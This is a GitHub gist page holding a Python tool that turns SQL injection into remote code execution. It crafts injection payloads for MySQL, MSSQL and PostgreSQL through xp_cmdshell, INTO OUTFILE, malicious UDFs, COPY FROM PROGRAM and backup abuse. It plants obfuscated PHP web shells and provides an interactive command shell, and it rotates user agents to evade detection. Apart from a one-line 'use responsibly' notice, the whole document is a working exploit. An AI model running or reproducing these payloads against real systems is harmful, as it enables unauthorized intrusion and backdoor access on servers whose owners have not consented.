Skip to content

Instantly share code, notes, and snippets.

@0xHossam
Last active June 8, 2025 11:01
Show Gist options
  • Save 0xHossam/6205d933db6ec8923cd5dbccc88a16e0 to your computer and use it in GitHub Desktop.
Save 0xHossam/6205d933db6ec8923cd5dbccc88a16e0 to your computer and use it in GitHub Desktop.
A Python utility that leverages SQL injection to achieve remote code execution (RCE) by deploying obfuscated web shells, featuring proxy support and multi-threading for effective red team operations.
import argparse
import requests
import urllib.parse
import sys
import base64
import logging
import random
import time
import threading
from typing import Optional
# Set up logging to keep track of what's happening
logging.basicConfig(
level=logging.INFO,
format='[%(asctime)s] %(levelname)s: %(message)s',
handlers=[
logging.FileHandler("SQLtoRCE.log"), # Save logs to a file
logging.StreamHandler(sys.stdout) # Also print to console
]
)
# Some user agents to blend in with normal traffic
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36",
]
class Exploiter:
def __init__(self, target: str, port: int = 80, url_path: str = "/vulnerable.php",
shell_path: str = "/shell.php", use_https: bool = False,
timeout: int = 10, max_retries: int = 3, proxy: Optional[str] = None,
additional_headers: Optional[dict] = None, encrypt_payload: bool = False,
db_type: str = "mysql", rce_method: str = "file_write"):
# Set up the basics for our target
self.scheme = 'https' if use_https else 'http'
self.target = target
self.port = port
self.url_path = url_path
self.shell_url = f"{self.scheme}://{self.target}:{self.port}{shell_path}"
self.timeout = timeout
self.max_retries = max_retries
self.proxy = proxy
self.encrypt_payload = encrypt_payload
self.db_type = db_type.lower()
self.rce_method = rce_method.lower()
# Randomize user-agent to avoid detection
self.headers = {'User-Agent': random.choice(USER_AGENTS)}
if additional_headers:
self.headers.update(additional_headers)
# Set up a session for persistent connections
self.session = requests.Session()
if self.proxy:
self.session.proxies = {'http': self.proxy, 'https': self.proxy}
logging.info(f"Ready to exploit {self.shell_url} with {self.db_type} DB using {self.rce_method} method")
def obfuscate_payload(self, payload: str, encoding: str = "base64") -> str:
# Let's make the payload harder to detect
logging.debug(f"Original payload: {payload}")
# Optional encryption step (base64 for now, could be stronger)
if self.encrypt_payload:
payload = base64.b64encode(payload.encode()).decode()
logging.debug(f"Encrypted payload: {payload}")
if encoding == "base64":
# Double-base64 encode and split for extra stealth
encoded = base64.b64encode(payload.encode()).decode()
split_index = len(encoded) // 2
part1 = encoded[:split_index]
part2 = encoded[split_index:]
part1_encoded = base64.b64encode(part1.encode()).decode()
part2_encoded = base64.b64encode(part2.encode()).decode()
# Only wrap in PHP if we're writing a web shell
if self.rce_method in ["file_write", "app_layer", "backup_abuse"]:
obfuscated = (
f"<?php eval(base64_decode(base64_decode('{part1_encoded}')) . "
f"base64_decode(base64_decode('{part2_encoded}'))); ?>"
)
else:
obfuscated = encoded # Direct SQL payloads don't need PHP
logging.debug(f"Obfuscated payload: {obfuscated}")
return obfuscated
elif encoding == "hex":
encoded = payload.encode().hex()
obfuscated = f"<?php eval(hex2bin('{encoded}')); ?>" if self.rce_method in ["file_write", "app_layer", "backup_abuse"] else encoded
logging.debug(f"Obfuscated payload: {obfuscated}")
return obfuscated
else:
logging.warning(f"Encoding {encoding} not supported, using raw payload")
return payload
def construct_sql_injection(self, command: str = None) -> str:
# Build the SQL injection payload based on DB and RCE method
logging.info(f"Crafting SQL payload for {self.db_type} with {self.rce_method}")
if self.rce_method == "xp_cmdshell" and self.db_type == "mssql":
# MSSQL's xp_cmdshell for direct command execution
cmd = command or "whoami"
payload = f"EXEC xp_cmdshell '{cmd}';"
escaped = payload.replace("'", "''")
sql_payload = f"1; {escaped} --"
elif self.rce_method == "file_write" and self.db_type == "mysql":
# Write a PHP shell to the web root (classic MySQL trick)
php_shell = "<?php $result=exec($_GET['action']);echo '<pre>'.$result.'</pre>'; ?>"
obf_payload = self.obfuscate_payload(php_shell)
escaped = obf_payload.replace("'", "''")
sql_payload = f"SELECT '{escaped}' INTO OUTFILE '/var/www/html/shell.php' FROM mysql.user LIMIT 1;"
elif self.rce_method == "udf" and self.db_type in ["mysql", "postgresql"]:
# Create a UDF to run system commands (assumes library is uploaded)
payload = (
"CREATE FUNCTION sys_exec(text) RETURNS int AS '/tmp/malicious.so', 'sys_exec' LANGUAGE C;"
if self.db_type == "postgresql" else
"CREATE FUNCTION sys_exec RETURNS integer SONAME 'malicious.so';"
)
escaped = payload.replace("'", "''")
sql_payload = f"1; {escaped} --"
elif self.rce_method == "copy_program" and self.db_type == "postgresql":
# PostgreSQL's COPY FROM PROGRAM for direct command execution
cmd = command or "whoami"
payload = f"COPY mytable FROM PROGRAM '{cmd}';"
escaped = payload.replace("'", "''")
sql_payload = f"1; {escaped} --"
elif self.rce_method == "app_layer":
# Inject PHP code into a field the app might execute
php_shell = "<?php system($_GET['cmd']); ?>"
obf_payload = self.obfuscate_payload(php_shell)
escaped = obf_payload.replace("'", "''")
sql_payload = f"UNION SELECT '{escaped}' INTO some_field FROM some_table;"
elif self.rce_method == "linked_server" and self.db_type == "mssql":
# Run commands via a linked MSSQL server
cmd = command or "whoami"
payload = f"SELECT * FROM OPENQUERY(linked_server, 'EXEC xp_cmdshell ''{cmd}''');"
escaped = payload.replace("'", "''")
sql_payload = f"1; {escaped} --"
elif self.rce_method == "backup_abuse" and self.db_type in ["mysql", "mssql"]:
# Write a malicious script via backup/export
payload = (
f"SELECT '<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/backup/shell.sh';"
if self.db_type == "mysql" else
f"BACKUP DATABASE master TO DISK = 'C:\\inetpub\\wwwroot\\shell.php' WITH INIT, FORMAT, CODEPAGE = 65001;"
)
escaped = payload.replace("'", "''")
sql_payload = f"1; {escaped} --"
else:
logging.error(f"Oops, {self.rce_method} not supported for {self.db_type}!")
sys.exit(1)
logging.debug(f"SQL payload: {sql_payload}")
return sql_payload
def send_payload(self, target_url: str, sql_payload: str) -> bool:
# Send the SQL injection payload to the target
encoded_payload = urllib.parse.quote(sql_payload)
injection_url = f"{target_url}?id={encoded_payload}"
logging.info(f"Hitting {injection_url}")
for attempt in range(1, self.max_retries + 1):
try:
response = self.session.get(injection_url, headers=self.headers, timeout=self.timeout, verify=False)
if response.status_code == 200:
logging.info("Payload delivered!")
return True
else:
logging.warning(f"Attempt {attempt}: Server said no (status: {response.status_code})")
except requests.RequestException as e:
logging.error(f"Attempt {attempt}: Something broke: {e}")
# Wait a bit before retrying
sleep_time = 2 ** attempt
logging.debug(f"Chilling for {sleep_time}s before retry")
time.sleep(sleep_time)
return False
def verify_payload(self) -> bool:
# Check if the web shell or payload is active
if self.rce_method in ["file_write", "app_layer", "backup_abuse"]:
logging.info(f"Checking if {self.shell_url} is live")
try:
response = self.session.get(self.shell_url, headers=self.headers, timeout=self.timeout, verify=False)
if response.status_code == 200 and ("<?php" in response.text or "exec" in response.text):
logging.info("Shell is up and running!")
return True
else:
logging.warning("Shell didn't work as expected")
return False
except requests.RequestException as e:
logging.error(f"Verification failed: {e}")
return False
else:
logging.info("Skipping verification for non-web-shell methods")
return True
def execute_command(self, command: str) -> Optional[str]:
# Run a command, either via the web shell or direct SQL injection
if self.rce_method in ["file_write", "app_layer", "backup_abuse"]:
encoded_command = urllib.parse.quote(command)
cmd_url = f"{self.shell_url}?action={encoded_command}"
logging.info(f"Running command via shell: {command}")
else:
# For direct methods, re-inject the command via SQL
sql_payload = self.construct_sql_injection(command)
cmd_url = f"{self.scheme}://{self.target}:{self.port}{self.url_path}?id={urllib.parse.quote(sql_payload)}"
logging.info(f"Running command via SQL: {command}")
for attempt in range(1, self.max_retries + 1):
try:
response = self.session.get(cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
if response.status_code == 200:
logging.info("Command ran successfully")
return response.text
else:
logging.warning(f"Attempt {attempt}: Command failed (status: {response.status_code})")
except requests.RequestException as e:
logging.error(f"Attempt {attempt}: Command error: {e}")
sleep_time = 2 ** attempt
logging.debug(f"Waiting {sleep_time}s before retry")
time.sleep(sleep_time)
return None
def interactive_shell(self):
# Interactive mode for running commands
logging.info("Starting interactive shell. Type 'exit' or 'quit' to stop.")
while True:
try:
command = input("shell> ")
if command.lower() in ['exit', 'quit']:
logging.info("Closing shell")
break
if not command.strip():
continue
output = self.execute_command(command)
if output:
print(output)
else:
print("[-] No output or command failed")
except KeyboardInterrupt:
logging.warning("Caught Ctrl+C, exiting shell")
break
except Exception as e:
logging.error(f"Something went wrong: {e}")
break
def send_payload_thread(exploiter, target_url, sql_payload):
# Threaded payload delivery
if exploiter.send_payload(target_url, sql_payload):
logging.info("Payload sent in thread")
else:
logging.warning("Payload failed in thread")
def main():
# Parse command-line arguments
parser = argparse.ArgumentParser(
description="SQL injection tool to achieve RCE. Use responsibly and with permission!"
)
parser.add_argument("-t", "--target", required=True, help="Target IP or domain")
parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)")
parser.add_argument("-u", "--url-path", default="/vulnerable.php", help="Path to vulnerable script")
parser.add_argument("-s", "--shell-path", default="/shell.php", help="Where to upload the shell")
parser.add_argument("-c", "--command", help="Single command to run")
parser.add_argument("--https", action='store_true', help="Use HTTPS")
parser.add_argument("--verify", action='store_true', help="Verify shell upload")
parser.add_argument("--interactive", action='store_true', help="Open interactive shell")
parser.add_argument("--encoding", choices=['base64', 'hex'], default='base64', help="Payload encoding (default: base64)")
parser.add_argument("--db-type", choices=['mysql', 'mssql', 'postgresql'], default='mysql', help="Database type (default: mysql)")
parser.add_argument("--rce-method", choices=['xp_cmdshell', 'file_write', 'udf', 'copy_program', 'app_layer', 'linked_server', 'backup_abuse'],
default='file_write', help="RCE method (default: file_write)")
parser.add_argument("--verbosity", choices=['INFO', 'DEBUG'], default='INFO', help="Logging level (default: INFO)")
parser.add_argument("--proxy", help="Proxy server (e.g., http://127.0.0.1:8080)")
parser.add_argument("--header", action='append', help="Extra headers (Key:Value)")
parser.add_argument("--encrypt-payload", action='store_true', help="Encrypt payload for stealth")
parser.add_argument("--threads", type=int, default=1, help="Number of threads (default: 1)")
args = parser.parse_args()
# Set logging level
logging.getLogger().setLevel(logging.DEBUG if args.verbosity == 'DEBUG' else logging.INFO)
# Parse custom headers
additional_headers = {}
if args.header:
for header in args.header:
try:
key, value = header.split(":", 1)
additional_headers[key.strip()] = value.strip()
except ValueError:
logging.warning(f"Bad header format: {header}. Use Key:Value")
# Initialize the exploiter
exploiter = Exploiter(
target=args.target,
port=args.port,
url_path=args.url_path,
shell_path=args.shell_path,
use_https=args.https,
proxy=args.proxy,
additional_headers=additional_headers,
encrypt_payload=args.encrypt_payload,
db_type=args.db_type,
rce_method=args.rce_method
)
# Build and send the payload
logging.info("Crafting the attack...")
sql_payload = exploiter.construct_sql_injection()
target_url = f"{exploiter.scheme}://{exploiter.target}:{exploiter.port}{exploiter.url_path}"
if args.threads > 1:
# Send payloads in parallel
threads = [threading.Thread(target=send_payload_thread, args=(exploiter, target_url, sql_payload)) for _ in range(args.threads)]
for t in threads:
t.start()
for t in threads:
t.join()
else:
if not exploiter.send_payload(target_url, sql_payload):
logging.error("Payload delivery failed. Check your setup!")
sys.exit(1)
# Verify the payload if requested
if args.verify:
if not exploiter.verify_payload():
logging.error("Shell verification failed. Something's off!")
sys.exit(1)
# Run a single command if provided
if args.command:
output = exploiter.execute_command(args.command)
if output:
print("[+] Command output:")
print(output)
else:
logging.warning("No output from command")
# Start interactive shell if requested
if args.interactive:
if exploiter.verify_payload() or exploiter.rce_method not in ["file_write", "app_layer", "backup_abuse"]:
exploiter.interactive_shell()
else:
logging.error("Can't start shell without a working payload")
# If no command or shell, give next steps
if not args.command and not args.interactive:
logging.info(f"Payload sent! For web shells, try: {exploiter.shell_url}?action=<command>")
print(f"[*] Access shell at {exploiter.shell_url}?action=<command>" if exploiter.rce_method in ["file_write", "app_layer", "backup_abuse"] else "[*] Payload executed. Check logs or server for results.")
if __name__ == "__main__":
# Ignore SSL warnings for testing
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment